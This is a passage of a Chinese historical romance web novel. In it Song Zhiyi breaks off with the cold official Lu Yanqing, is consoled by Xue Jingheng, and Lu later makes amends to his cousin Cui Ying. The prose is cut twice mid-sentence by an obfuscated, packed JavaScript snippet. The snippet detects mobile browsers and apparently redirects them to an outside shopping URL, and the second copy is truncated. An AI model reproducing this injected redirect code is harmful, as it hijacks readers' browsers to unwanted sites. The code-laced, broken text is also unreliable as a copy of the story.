陆晏清道：“无可奉告。” 宋知意又往手指头上注入一股力量，十个手指甲化身为钝刀子，来回在皮肉上磨割，可她完全感受不到疼痛，一腔意念尽在他身上：“方才我听着，崔璎唤了你的表字……是你许她唤的吗？” 陆晏清颔首，不置可否。 她非从他口中，索求一个确切的答案不成：“你告诉我，是不是你准许她称呼你的表字的？” 此处的动静，已然惊扰了厅里厅外的宾客，陆续投来注目。恐怕收拾不住，周氏拉一拉她的手臂，意欲劝她冷静，然惊觉她攥着拳头，而并拢的手指间，蔓延出细小的血线。周氏大骇，擎起她的手，尝试着掰开：“宋妹妹，你快松开，掐破了！” 宋知意充耳不闻，望着陆晏清，执着道：“陆二哥哥，你回答我，究竟是不是你让的？只要你说一个‘不’字，我就信，毫无保留地信。” 她视他为信念，珍视他的一切。他却视她为负担，除之而后快。 “我允许的。”陆晏清说，“这个答案，可满意了？” 他铁了心，今日务必理清这段长达十来年的纠葛。他要一个能够心无旁骛的环境——一个没有她日日围堵，环绕身侧喋喋不休的环境。 至于顺水推舟，利用了崔璎，待事后他会向她说明，尽自己所能补偿她的。 宋知意搞不懂，为何常年冷心冷情的他，一夕之间就变得单单对崔璎有人情味了？她百思不得其解，兼而不甘到指着崔璎，咬牙切齿逼问：“我叫你一声陆二哥哥，你好几次都要跟我翻脸。崔璎直接叫你安之哥哥，何等亲密暧昧……你就受用了？” 质问的是他，痛心得声音发抖的偏偏是她。 “你把崔璎，当表妹，还是……”“心上人”三个字，她难以宣之于口。 陆晏清并非真的榆木脑袋，他知道崔璎待他的心意，然则他待她，天地可鉴地纯粹，仅仅是兄妹之情。纵然宋知意咄咄逼人，纵然他急于脱离这个是非之地，但他绝不能再进一步，亲口坐实宋知意对自己的怀疑。 迅速思索过后，他选择无视宋知意，举步去崔璎主仆跟前，沉淀心绪，温声询问绘柳：“表妹她可有伤着？” 绘柳摇头：“那倒没有。就是醉了，摸着身上有点烫。” “此地风大，注意吹病了。快送表妹回屋躺着缓缓吧。” 他在关心崔璎，反观宋知意，终于放开指节，抬起滴血的手，按在因他擦肩而过而微微卷起的衣边上。手心不断渗血， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636843|186434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 污染了布料，血迹斑斑。周氏在旁苦劝，她偏生不依，纵容血点子一个一个增加，于这身新衣上开出腥膻的花。 她记起薛景珩的话：“你简直是眼瞎心盲！”——原来当初刺耳的话语，才是真道理。 他的温柔耐心，都是给崔璎的。对她呢，除了冷言冷语，就是铁面苛责。她还浑然不觉，自以为水滴石穿，总有一日会打动他。多讽刺，多傻。 绘柳扶着崔璎，深一脚浅一脚走了。陆晏清以目相送，送得很长，很远，直至那二人的背影彻底消失，方分与宋知意一个侧视——一如既往地吝啬。 “打算逐我出陆家是吗？”宋知意抢白。 陆晏清不语。不语等于默认。 “不劳动你。我是个人，还是有点自知之明的。”她昂首挺胸，“赠你的礼物，你还收吗？” 不及他回复，她笑了笑：“来都来了，没有拿回去的道理。”旋即伸手问丁香讨来被暂时保管的长匣子，和着两手半干不干的鲜血，捧至眉前，一抽手，任匣子悬空，坠落，最后砸得稀巴烂。而他作何反应，她不再好奇，只管转眸吩咐芒岁：“你去厅里找到我爹，告诉他，这地方不欢迎咱们，咱们得识时务。” 芒岁问：“那姑娘呢？” “我去大门口等你们。”她僵垂着两条手臂，去得洒脱。 三个人的冲突，撤了两个，没什么看头了，人们自然散开。 周氏安排丫鬟婆子牵儿女去入席，她则挽留住陆晏清，直冲冲道：“二弟，你和崔表妹之间，究竟有没有什么？” 陆晏清从容不迫：“嫂嫂希望有什么？” 周氏不防备，噎得哑火了片刻，抱臂胸前，挂起耐人寻味的笑：“二弟睿智，定知道我的用意，我就不必明说了。” 她什么意图？无非是替宋知意主持公道、兴师问罪来了。陆晏清不显山不露水，口吻稀松平常：“权宜之计罢了。” 一时间，小丫鬟将地上四分五裂的匣子、滚到栏杆底下的字帖，拾起来，一并呈与周氏。周氏瞟眼掠过陆晏清。丫鬟会意，随之调转方向，托给陆晏清。 “人家知道你爱惜文墨，特意把家里最宝贝的东西包了赠你，谁知你准备了这么一出。莫说是个不谙世事的小姑娘，便是我，也是难堪不已。二弟，你做得过火了。”周氏打消了数落他的念头，平心静气道。再看他迟迟不动弹，害得小丫鬟手直哆嗦，遂使小丫鬟另外找个匣子，把字帖仔细装进去，继而送由陆晏清处置 陆晏清沉默以对。 周氏哂笑道：“你不喜欢她，不是错。那么我作为嫂嫂，但愿你一直对她无情下去，千万别后悔。推开一个人容易，挽回一个人，那可不简单，尤其是那个倔丫头，可以说难如登天。” 她果真认清现实，自尊自爱，陆晏清求之不得，怕就怕她没几日又没心没肺追在身后。 “嫂嫂放心，”他浅浅一笑，“我乃求仁得仁。” 周氏点点头，自转身去了。 22. 划清界限 马车内，宋家父女觌面而坐。宋平观察着女儿的脸色，小心翼翼道：“如意啊，你没事吧？” 未料这一问，竟把人问得嚎啕大哭起来。慌得宋平紧忙找手帕，却是摸了半天也没摸着。那哭声接连不断，宋平的心也跟着一抽一抽发疼。 “他以为他是谁……那么侮辱我……”宋知意哭得认真，鼻涕眼泪糊了满脸，谴责起陆晏清来也是上气不接下气，“他真是坏透了……我，我再也不要喜欢他了……” 原来，公开决裂至今，她的潇洒坚强都是假装出来的。她要强，绝不肯在众人面前流露脆弱，引人褒贬。如今坐在自家马车里，身畔是亲爹的笨拙的关切，那满腹委屈，便如洪水决堤般，一发不可收拾了。 忙乱中，宋平终于摸着手帕，手扶着车座，蹒跚坐去她身侧，轻轻地给她擦脸，无奈无济于事，眼泪越擦越多。宋平一沉，收了手，说：“哭吧，啥时候哭够了，咱们直接回家洗脸。洗干净了，吃饱喝足，睡上一觉。” 没人劝了，反倒没多大意思哭了。她挥手拂一把眼周，偏头看她爹，讷讷道：“我吃不下，喝不下，也睡不着。爹，我是不是好没出息啊……” 宋平举手抚着她的脑袋，摇头道：“你是爹的好闺女，爹为你骄傲。”他慢慢放下胳膊，撇开头，眼睛盯着脚下，“是爹自不量力，高估了自己的斤两。自己打歪主意，攀权附贵也就算了，还鼓励你，不分是非地讨好他……如今闹掰了，遭羞辱的人该是我……我真是……唉！”他喟叹一声，陷入漫长的自责中，久久不能言语。 宋知意自己且心乱如麻，再安慰他，属实心有余而力不足。 于是父女二人，各怀心结，无声寂坐。 薛景珩长身伫立在宋家门外，望见宋家的马车驶回，往前迎了两步。 帘子一开，宋平先出来，冲他强颜一笑：“薛小少爷怎么在这等着？” “我听说了。要不是远远瞅见你们回来，我就过去了。”宋平下来，薛景珩长臂伸展，撩起帘子一角，看见一双并拢一起，一动不动的脚，“宋如意，你下来，我有话对你说。” 这时候王贵行色匆匆过来，禀告宋平说衙门里紧急喊他去议事。无法，宋平托付薛景珩：“薛小少爷要没要紧事的话，麻烦陪一陪如意吧。那边一结束，我快快地往回赶。” 薛景珩一口答应：“宋叔尽管专注自己的事，不用惦记，宋如意有我看着呢。” 宋平连声道谢。后调整心态，叫上王贵，骑马离开。 宋平一走，薛景珩完全放开性子，对迟迟不挪动的宋知意喊话：“你是生陆晏清的气，还是生自己的气？如果是前者，我帮你教训他。如果是后者，你别那样折磨自己，你打我几下，不用收着力气；我皮糙肉厚，扛得住。” 里边仍然一声不吭。 薛景珩“啧”一声，迈上车，扯着她手腕强行带她出来。光天化日下，她两个红肿的眼睛格外醒目，数落她不争气的想法，顿时烟消云散，剩的唯有心疼。 “……肚子饿着呢吧？”他牵起她的手，又打算回车子里，“干脆别进家门了。走，我领你上会云楼吃一顿。吃完再去霓裳雅苑听戏，下午有名角儿的场子。” 宋知意站着不情愿走：“我哪里也不想去，就想回屋洗把脸，一个人待着。” 她的脾性，薛景珩了如指掌，一旦应了她的意思，她肯定沉溺在悲情里，无法自拔。忧思伤身，他今日必须把她支出去，大玩特玩；人气儿充足，她便没空子胡思乱想了。因蛮力塞她到车内，自己随后。 “待什么待，再待发霉了。我说了我请客，你尽兴玩。”他挑眉道，“怎么，怕我荷包比脸干净，反过来花你的银子不成？我在京城，一呼百应，几个银子值什么，一句话的事罢了！” 他动作粗鲁，宋知意控制不住东倒西歪的，一手撑一手扶，方坐稳。她剜了眼他，嘲讽道：“你这些日子在我家蹭吃蹭喝，你身上有几个钱，我一清二楚。你哪来的钱请我吃喝看戏？潦倒就潦倒，充什么大款。” 薛景珩一屁股坐下，内心欣慰，对外犀利：“能瞪我，能驳我，看来是好了。可以，悬崖勒马，及时止损，脑筋还没锈死。” 宋知意垮了脸：“哪壶不开提哪壶。你知不知道你很讨人嫌？” 薛景珩耸耸肩，感觉良好：“我再讨人嫌，也比那捂不化的冷冰块强。”之后交代车夫赶车。 “你就不能照顾照顾我的处境，不提那个人么？”昔日对陆晏清有多仰慕，如今就对他有多失望。她的“厚颜无耻”，也是有底线的。 薛景珩道：“我装聋作哑，若无其事，你是不是就好继续好了伤疤忘了疼，改日又贴到陆晏清面前，伏低做小，自欺欺人了？假如是为这个，我非但不顺着你，而且会往死里嘲笑你。宋如意，你掂量着办吧。” 短暂的沉静后，宋知意眼含果决，道：“从今往后，他是他，我是我，再无瓜葛。” 薛景珩眯眼，审视她：“‘他’是谁，你说清楚了。”他在试她的诚意。 垂眸再抬眸间，宋知意果断更甚：“打从踏出陆家那刻，陆晏清是死是活，一律与我没关系了。”她缓缓一笑，“何嬷嬷那儿，我也不去了。我就不是那块料。况且，有那磨耳朵的工夫，我做点啥不好。大千世界，无奇不有，能给我折腾的，多了去了。” 经此难堪，她切实明白，有些人有些事强求不来。吃一堑长一智，她也是时候醒悟了。 前几回和陆晏清不对了，她也是发誓赌咒，意志要多坚定有多坚定，最后怎么着，照旧围着陆晏清，变着花样示好。有前车之鉴，薛景珩不能全心全意信任她。他捏着下巴，轻轻一笑，放过这个话题，有一搭没一搭谈起别的，舒缓气氛。 彼时，会云楼下，薛景泰负手挺立，他的背后，垂手并排站着四个小厮，个个儿人高马大，筋强骨壮。 等宋家的马车停下，薛景珩露脸探身，那几个小厮摩拳擦掌，蠢蠢欲动。 薛景泰说：“我不发话，你们别轻举妄动。” 小厮们恭敬称是。 薛景珩下去后，回头伸手扶了宋知意下来。两个人一块去见过薛景泰。 薛景泰看向宋知意，温和一笑：“这些天，这小子没少给你添乱子吧？” 宋知意只和薛景珩熟快，而他大哥薛景泰，比她大好几岁，没有共同语言，人又忙，见面的机会也少，自然无甚交情。她回以微笑，客客气气道：“没有，他挺老实本分的。” 薛景泰睇一眼薛景珩，笑里多了些责备：“看看，人家还小你一岁，人家多懂事，哪像你，一时兴起，不管不顾，离家出走。” 薛景珩才不觉得做错了，轻描淡写道：“哥，你要是为数叨我来的，那你打住吧，我们急着去里面吃饭呢。” “宋姑娘在这里，我且给你留着面子。”薛景泰耐住怒气，“前几天我托陆兄带话与你，你是全当耳旁风。那今日，我亲自过来告诉你：因为你干的混账事，母亲气倒了，已经卧床好几日了。你要存着点良心，你就随我回家，到母亲病榻前，让母亲看见你好好的，让她安心养病。” 那长篇大论里缀着的“陆兄”二字，猝不及防戳中了心房，宋知意心里一抽，鼻子一酸。 薛景珩没看他哥，倒看见她丢魂丧魄的样子，立时把握到了症结所在，既不爽又无奈。偏不忍对她怎样，就阴下脸，冲他哥恶声恶气道：“回去？难道又叫你们把我锁起来，没完没了地相看人？一模一样的亏，我吃一次就够了。至于你说母亲大病不起，谁知道你是不是诓我呢？我明说了，要我回去接受你们的安排，绝无可能！” 薛景泰终于怒不可遏：“你听听你说的些什么大逆不道的鬼话！” 薛景泰待人宽和，鲜少有动怒之时，猛然一吼，将宋知意吓得一激灵，忘了伤怀，直愣愣瞅着这兄弟俩。 她是大悲过的身体，经不住惊吓。思及此，薛景珩拍拍她手腕，笑道：“你先进去，点上你爱吃的菜，等着我。” 她傻傻地不动，薛景珩摇摇头，该换目标，叮嘱芒岁：“带她进去。我稍后就到。” 那兄弟俩剑拔弩张，的确不适宜逗留。芒岁点点头，拉着宋知意脱身。 目送宋知意身影隐入楼阁，薛景珩没了忌惮，扫视那四个满脸横肉的小厮，冷笑道：“这是有备而来啊。” 薛景泰冷哼：“你知道就好！” 薛景珩收藏笑意，扭一扭脖子，甩一甩胳膊，一副即将硬碰硬的派头。 薛景泰冷冷道：“我既带了人，你就别指望我心慈手软。” 活动完毕，那几个小厮已然准备就绪，跃跃欲试，但薛景珩却并无此意，口径一转：“我可以跟你回去，只是我有一个条件。” “什么条件？” “我答应了宋如意，陪她吃饭，陪她看戏，我不能食言。”薛景珩道，“待我将她安顿好了，我跟你走。” “……天黑之前，我要在家里看到你。”薛景泰很疼这个弟弟，究竟是如他所愿，放他去了。 * 是夜，陆家饭厅。 一大家子人，难得团聚，本应言笑晏晏，却因白日闹剧，沉默寡言，各怀心事。 团团爱吃排骨，桌上的一道糖醋排骨离得有点远，她回头扯了扯丁香的袖子，悄声表达诉求。金香会意，手拿一个空碟子一副公筷，刚弯腰夹了一块，手肘不小心触掉一个空碗，霎时一阵叮铃咣当。因忙忙告罪，蹲下捡碎片。 打碎的碗，不是旁人的，恰恰是崔璎的。周氏不满崔璎白日所作所为，含沙射影道：“你来家这么多年了，一直谨慎小心，怎么今天毛手毛脚的，害得大家吃饭也不安生。” 金香没转过弯来，头几乎低到了地上，十分无地自容。 收拾完狼藉，金香又拿起筷子夹那排骨。周氏看着她：“快别在这伺候了，躲出去，眼不见心不烦。” 多年的主仆，金香恍然读懂周氏的眼神，心里的愧疚感消减大半。她瞥一瞥崔璎——周氏实际暗讽的对象，柔顺道：“是，我这就出去。” 在座的，除却年纪最小的团团，全是明白人，何尝听不出周氏的弦外之音。 崔璎是闯了祸，但毕竟是自己外甥女，没有袖手旁观的道理。陆夫人道：“好了，一个碗，碎就碎了，也值得大惊小怪的。金香，你不用走，团团黏你，离了你各种不方便。” 金香应声折返。 在陆家，陆夫人的威严甚至胜过陆老爷，周氏固然不痛快，碍于陆夫人出面，唯有打消了接着阴阳怪气的念头。 饭厅内暗流涌动，陆晏清无意沾惹，放了筷子，起身对父母拱手说：“父亲，母亲，儿子吃饱了，先回去处理公务了。” 陆夫人叮咛他劳逸结合，早点休息。 崔璎也搁下筷 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长廊隔几步吊着一盏灯，莹莹灯光自上而下，照得陆晏清眉高眼深，鼻挺唇薄——极具冲击性的一张脸。但他一启口，声线清越冷冽，带给人的又是另一种感觉。 “聊一聊吧。”他说。 他的眼睛，仿佛洞悉一切，崔璎不敢直视他，怯怯道：“好。” “白天之事，我有许多不当之处，望表妹体谅。” 崔璎已经做好了他看穿她醉酒假象，而苛责的心理准备，孰料他道起歉来。她倏尔举目，惊讶道：“我体谅……什么？” 或是工作，或是生活，陆晏清以严谨慎重为原则，从不打无准备之仗。今晚的对话，包括说话顺序、口气、内容，他已默默预演了几遍。故此，此刻不疾不徐，条理清晰： “首先，你我是兄妹，你摇摇晃晃，不留神倒在我身上，我搀你一把是本分，但你站稳后我没有退开，是为逾越规矩，是我的错，且我并不无辜，皆因我有私心——我不堪宋家姑娘连年骚扰，又知她冲动莽撞，若见我与你接触，她必然来逼问取闹，我则趁此机会，使她当众下不来台，从而助我同她自此泾渭分明。” “其次，我知你意识不明，失口唤了我的表字，而我为刺激宋家姑娘，刻意混淆事实，颠倒黑白，致使众人误会，有损你的闺阁名誉。我十分不该。” “以上两条，众人见证，明明白白。我愧对于你。今天下午，我重新拟了请柬，于后日重摆宴席，明日会逐一送往参宴人手中，邀请他们赏光。届时我亲自出面，解释清楚，还你清白，兼之向他们为今日纷乱而赔罪。” “当然，因我私欲而对你造成的伤害，断没有抵消之说。错已铸成，覆水难收。即日起，我每日上值前下值后，会在家里祠堂，以及姨父姨母的牌位前，长跪反省一年，希望以此求得各位祖宗的宽恕，还有表妹的原宥。” 崔璎父亲那一脉人员凋零，她父母意外丧命后，放眼家族，竟只剩了她风烛残年的祖母略可依靠。她祖母养了她两年，也因病撒手人寰了。长眠以前，她祖母殷殷嘱咐她，上京投靠姨妈姨爹。 安葬好祖母后，她抱着爹娘、祖母的牌位，同家里的一个老嬷嬷，辗转进京，与陆家人相聚。陆家怜惜她孤苦可怜，体恤照拂之余，特意在家中祠堂一旁，另开辟一间屋子，摆设她家人牌位，香火不断，供奉于此。 “依表妹看，如此举措，能否一解你内心怨怼？倘若尚有欠缺，你尽可提，我尽我所能弥补。” 他安排得有理有据、周全妥帖，从哪一点来看，皆无可挑剔。也正是他这等合理周密的计划，昭然传递出一个信息：他待崔璎，仅仅是兄妹情谊。——重重击碎了崔璎的幻想。 崔璎想哭，可又找不出理由哭。作为表哥，他算是仁至义尽，她还能怎么要求？说一千道一万，是她心存妄念，为难自己。 “表哥思虑得面面俱到，我……没有疑议了。”崔璎笑不出来，纵然假装也费劲。 陆晏清点头，后退一步，深深作一揖：“多谢表妹谅解。” 换成平常，崔璎绝对生受不起，百般阻止。而现下，她心安理得地受了这一揖。 “夜深，风大，表妹请回吧。”陆晏清侧身，让开前路，谦谦道。 崔璎微微点头，摒弃依恋，艰涩离去。 春来掐着点出现。看崔璎背影落寞，他忍不住惋惜：“公子，您明知道表姑娘的心意，这么做，是不是太狠心了……？” 一样的话，今天春来说了两遍，一遍是上午，一遍则是眼下。上午那会，陆晏清神色深沉，三缄其口。现在，他神色依然不改深沉，却开口了：“当断不断，反受其乱。我是为她好。” 春来听出来他意有所指，指谁呢，脑子里浮现出一个人。也不晓得那宋姑娘怎么样了…… “你明早去一趟宋家，把那字帖物归原主。”周氏不由分说塞给他那字帖，他略扫了眼，辨别出它出自前朝名家之手，价值不菲。他决不能收，收了便有贪腐之嫌。 “今儿几乎撕破了脸，万一他们记恨，把我打出来……”春来挠头，愁眉不展。 陆晏清侧目：“撵不撵你，是他们的自由。你还不还得了，完没完成我指给你的任务，是你的本事。你随我许多年，应当有处理纠纷的能力。” 春来追上他的脚步，姑且藏好为难之色：“是……我明儿一大早就去办。” 23. 求仁得仁 隔天一大早，伺候完陆晏清出门，春来就携字帖去宋家拜访。宋平也出发上值了，没和春来碰上，他暗自庆幸：幸亏错过了，不然以宋平那个女儿奴的性格，非命人乱棍打走他不成。 跟门房说明来意，门房通传，春来左右踱步等候。 消息一层一层传到芒岁耳朵里，芒岁道：“姑娘没起呢。他要不急，就请他等一会；急，就请换个时候再来吧。” 话原原本本带出去。春来不意外，好脾气道：“不急，宋姑娘慢慢收拾，我等得起。” 而这一等，一个时辰流走了。春来抹着脑门上的汗，腹诽：这差事真是棘手。也没法子，谁叫公子伤人家心了呢。他是公子鞍前马后角色，默默受着呗。 芒岁躲在角门后窥视，琢磨晾得差不多了，便若无其事地走出去，引他入内。 宋知意不在屋里，在院子里抱着爱猫悠悠荡秋千，很是怡然自得。 “姑娘，人来了。”芒岁站去身侧。 宋知意把猫抱起来，说：“还没喂它，你带下去喂了吧。” 芒岁两手接了抱住，正要回屋，臂弯的猫呜呜低吼起来，不及安抚，一个飞出去，跳春来身上，伸爪子抓了他好几下，逃窜而去。 “你要不要紧？”芒岁焦急道。 不巧，春来手背上挨了挠，爬着几道血印子。芒岁疾呼人来给他处理。所幸是皮外伤，处理起来简单。 他们在厢房里包扎，宋知意却没跟过来，仍然坐在秋千上发呆。 “今天的事，真是对不住。”追究起来是自己没管好猫，害得人受伤，芒岁过意不去。 春来不讲究，粗枝大叶道：“论起来，也是意外嘛。而且我这皮糙肉厚的，没觉着疼。姑娘不用自责。” 芒岁赔笑道：“平常它特别亲人，我们家这么多人，谁摸它，它就对谁翻肚皮撒娇。今天也不知道怎么了……” 春来嬉皮笑脸道：“兴许是我哪里长得不对，吓着它了。不怨它，怨我，谁让我不像我们家两位少爷似的，光风霁月，人见人爱，花见花开。是我没那福气！” 他轻轻松松的表现，使芒岁心安不少，不过他把他主子夸得天花乱坠，就不太中听了。真那么好，怎么公开羞辱她们姑娘呢？ “你好了，就出来吧。”芒岁扭头走人。 少顷，春来出去，将宝贝了一路的锦盒捧在手心献与宋知意：“这是宋姑娘昨天拿去的字帖，因原来的盒子坏了，就新找了个装好。万幸刚刚没再给摔了。” 宋知意眯眼，道：“你就是为还这个来的？” 春来笑笑：“公子说了，此物贵重。勒令我，今日必须完璧归赵。” 不待见她的人，连她给的东西也吝啬于收留……当真冷血薄情呢。宋知意朝身旁抬眼皮子，芒岁接收到信号，伸手揽过盒子。 他急于和她撇清干系，正好，她也是一样。 “还有事么？”她问。 烫手山芋离手，春来如释重负，摇头，实话实说：“就是专程为它来的。既然它到位了，那我先告辞了。” 宋知意倒没留他，只是记起一件事，使唤芒岁：“你现在去问王贵叔取了库房钥匙，选几匹素色的缎子，包好，带上它，去女学找着何嬷嬷，对她说，多谢她这程子的照拂，我心怀感激，只是我今后多有不便，不能继续听课了。” 自从做了何嬷嬷的学生，她是吃不好睡不好，偶尔还和其他人起口角之争。芒岁看在眼里，早希望她打退堂鼓了。如今她有了明确主张，自然喜不自胜，响应一声，下去操办。 春来不禁为这段嘱咐吸引，放慢脚步，有意多听几句，宋知意却关了话匣子，起身回了房间。没得可听的，便一路寻思，回了陆家。 日薄西山时，陆晏清结束一日公干，同杨茂并肩出了衙门。两人且走且聊，前半段聊公事，后半段遇上工部几个官员，重心则变成了相互寒暄。 宋平混迹当中，还个礼，加紧步伐先行一步。 工部侍郎指着宋平的背影，戏言：“这个老老宋，一天下来沉着个脸，十有八九是又被他家姑娘折腾的。” 工部侍郎生活简单，对别人家的是非不感兴趣，天天衙门家中两点一线。他还不知道昨儿陆家的情况呢。 杨茂打哈哈，糊弄走了工部侍郎。其他人秉着多一事不如少一事的理念，陆续散了。这条路上，复归宁静，唯余陆晏清杨茂两人的走路声。 及至永定门，与各自的仆从会合。杨茂冲陆晏清拱手告别，陆晏清还施一礼。 陆晏清有个习惯，骑马的时候不戴官帽。春来照常擎着他卸下的官帽。 “你那手怎么了？”春来手背上一道道抓痕，分外夺目，他不留意都不行。 春来把手往袖子里藏了藏，随便编了个理由。 “……以后自己当心些。” “多谢公子挂心。我记着了。” “东西可送回去了？”他轻巧上马。 春来回：“送到了。” “没有节外生枝？” “没有。我说了原因，宋姑娘就收了，竟出奇地顺利。” “……嗯。” “就是……”春来的话没到头，举目观察他的颜色，却对上他的一个侧目：“就是什么？” “……就是宋姑娘自己说，从今往后，不打算去咱们家女学了。” 静了须臾，陆晏清说：“她的心性，不受约束，不服管教，本就不适合女学。半途而废，也是意料之中。” 这几个月以来，宋知意在学里的努力，春来频频耳闻，亦偶尔目睹，根本没有他说得那样不堪。春来是个热心肠，忍不住替宋知意分辩：“宋姑娘的确是顽劣了些，但近来在学里，也控制着呢。何嬷嬷不止一次说起，宋姑娘课上很积极认真，有不懂的地方，课下一定请教。我也亲眼见过宋姑娘拿着一个小本子写写画画，一问芒岁，才知道是课上的知识——宋姑娘知道自己记性不好，就花时间把每日学的记下来，常常温习。” “……恕小的冒昧，公子对宋姑娘的偏见，有点过于大了……” 陆晏清微微皱眉：“看来，你倒是很了解她。” 春来忙摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他喜好不多，读书乃其一。久而久之，他练就了一目十行、过目不忘的本领。可今日这书，看起来处处不顺畅，不是看错了列，就是忘了前文。翻来覆去半个时辰，堪堪掀过一页，不及他平素的零头。 他不信邪，聚集精神，专注书页，一个字一个字地看，心里同时默念。纰漏倒是避免了，心态也翻倍浮躁了——他一手丢开书，揉着眼角，自我反思，最终也反思不出个所以然来。 “春来，什么时辰了？”难道是太疲惫了吗？ “戌时才过呢。”春来推门进来，望见地上躺着一本书，心存疑惑：公子爱惜书本，平时不许下人进来打扫，怕把他那些书碰坏了，都是亲力亲为。那今晚怎的书掉地上也不管？ 春来想破脑袋也想不通，干脆不想了，弯腰捡起书，整整齐齐摆放至案上。又看他按着眉头，不言不语，便出言关切：“公子是不是累了？要不您早点洗漱更衣，早点休息？” 按照惯例，陆晏清亥时方就寝。现在才戌时，太早了。 “不必。”他把手指从鼻梁处拿开，取出一张空白宣纸，拿笔蘸墨，笔走龙蛇，“你给我泡杯茶来吧。”茶水清爽，提神醒脑。 戌时吹灯归寝，确实过早了。春来答应着出去。 次日，除却宋家父女外，陆家聚齐了前天陆晏清生日宴上的原班人马。依照计划，开席前，陆晏清向大家朗声解释，自那天以后轰动全城的，他和崔璎关系非同一般的传闻。口吻冷静，措辞缜密，态度磊落，闻者无不心服口服。此后两月，谣言得以平息。 24. 心猿意马 是日散朝后，皇上单独留下陆晏清，捋一捋胡须，笑道：“小陆爱卿，你家中近来可一切安好？” 陆晏清低眉敛目，恭敬道：“谢皇上体恤。微臣家中一切都好。” 大太监董必先为皇上呈上一杯茶，皇上一面接了，一面吩咐：“给小陆爱卿上杯碧螺春，朕记得他好这口。再搬把椅子过来，朕今日有闲，和小陆爱卿叙一叙。” 董必先应声下了台阶。陆晏清忙垂首推辞：“微臣站着就是，不用麻烦了。” 皇上说：“论起来，你祖父是朕的老师。朕与你陆家，跟旁人不一样。你无需拘谨。” 这会，董必先指挥小太监抬来椅子，安置于御案下方。董必先又亲自端来茶水，笑吟吟道：“这是今年的新茶，小陆大人请尝尝。” 陆晏清双手捧住，谦逊道谢，浅啜一口，果然唇齿噙香。赞了几句茶如何如何美味后，他正襟危坐，洗耳恭听上意。 皇上含笑道：“朕说了，只是难得松闲，与你随便聊一聊。你别紧张。” 陆晏清最讲究礼节，绝不肯僭越，闻言即起身拱手答是。 皇上失笑道：“朕不是说了，不必紧张。坐下吧。” 陆晏清重新就座，头颅端正，身姿庄严，神婆肃穆——文武百官中独一份的克己复礼。倒显得皇上有些不正经了。 皇上笑得无奈，冲董必先道：“瞧瞧，朕那几个儿子若是有小陆爱卿这份自持，朕还苦恼什么呢。”又对陆晏清语重心长道：“话又说回来，爱卿才二十出头的年龄，一味严格要求自己，未免压力太大，招致烦恼，纵是铁打的身子也未必吃得消，要有张有弛、劳逸结合才是长久之计啊。” 董必先随声附和。 陆晏清固然猜不透皇上为何有此一劝，但皇上释放善意，他这个当臣子的必定是满口谦卑：“皇上的教导，微臣定将牢记于心，笃行不怠。” 皇上似笑非笑道：“朕知道你，你是嘴上答应，过了今儿，又若无其事，没日没夜地钻在御史台办公。快到重阳节了，朕且做个主，提前放你假，回家去踏踏实实休息吧。至于你手头上的案子，朕交给杨茂替你办。” 见陆晏清不太情愿，皇上摆摆手：“行了，你先回御史台，把公务同杨茂交接清楚，完了就回家吧。”后嘱咐董必先：“把那进贡的碧螺春装几罐，叫小陆爱卿带上。”言罢，站起来，扶着腰，一路活动着，从殿后走了。 董必先原本打算指派一个小太监，抱上那几罐御赐茶叶，一直送他出宫门，他却婉言拒绝，自个儿揣起来，款款告辞了。 杨茂正伏案查阅案卷，闻听门口响起脚步声，抬眼一瞅，不觉笑了：“你这两手满满当当的，敢情是皇上偏心你，有好东西怕大家看见不够分，才专门把你叫住，保你‘吃独食’啊！” 陆晏清直直到自己书桌前，搁置了茶罐，也不说话，指尖尽管在桌上轻轻敲击着。 杨茂被这一声声叩击扰得三心二意，干脆合上卷宗，歪过身子看他：“我发现你近程子古里古怪的，老是走神。你是不是遇上什么事了？” 陆晏清停止叩击，望向杨茂的眼神里漂浮着丝丝迷茫。 果然又心不在焉了。杨茂从座位上起来，走到他面前，满脸认真道：“我说，你若是真摊上什么麻烦事，你别自己憋着，你说出来。虽然我家不是大富大贵，也许瞎猫撞上死耗子，我有辙呢？”杨茂掌心落在他右肩上，“咱俩是多年的朋友，我一定会鼎立相助的。” “不瞒你说，我的确有一个问题琢磨不明白。”对好友，陆晏清一贯坦率。 杨茂眼放异彩：“能把你难倒的问题，我是真好奇。” “适才，皇上特许我几日假期，让我回家安生待着。”陆晏清垂眸，盯着桌上排列的一册册卷宗，“我始终想不通，我又不疲不惫，皇上因何对我关怀备至？” 杨茂惊呼：“皇上要给你放假？这实在是可遇不可求的大好事呀！陆兄，你太走运了，我羡慕都羡慕不来，你居然为此愁眉苦脸的。陆兄，我奉劝你，这事你一会别张扬，省得给大家留下个你得了便宜还卖乖的印象。” 陆晏清乜斜过来，杨茂感觉后脖子凉飕飕的，干咳一声，恢复正色，边踱步边分析起来：“这也说得过去。你家老太爷不是任过皇上的老师吗？有这层关系，皇上自然多照顾你。再来，谁不知道你办起公差来卖力，好几次都受伤了；咱们贺大人曾经一再劝你放松些，架不住你不听。那皇上是圣君，不能眼看着你累垮吧？所以亲自批假给你。你总不能不识抬举，冷硬拒绝。” 杨茂转去他身旁，“分析不难，可最令我匪夷所思的是，你近几个月，心猿意马，我们跟你说话，得说好几遍，你才有动静……陆兄，你在想什么呢？或者说，你真碰上难缠的事情了？” 沉吟片刻，陆晏清否认：“我家里一切太平。另外，我没有心猿意马。” “陆兄啊陆兄，你刚才就敲着桌子乱想呢，眼神都直了。你就不要抵赖了。”杨茂摇着手指笑了笑，而后拿胳膊肘轻微一碰他，“我与你相识许多年，从未见你如此过。你到底思谋什么大事呢？” 陆晏清自己也费解，如何解他的惑。他从桌上抽出现下办理的案子，递出去：“我的假期从今日开始。做个交接吧，妥当了，我便回去了。” 杨茂瞠目结舌：“合着是我替你做善后工作啊？” 陆晏清清浅一笑：“皇上有令，无可奈何。” 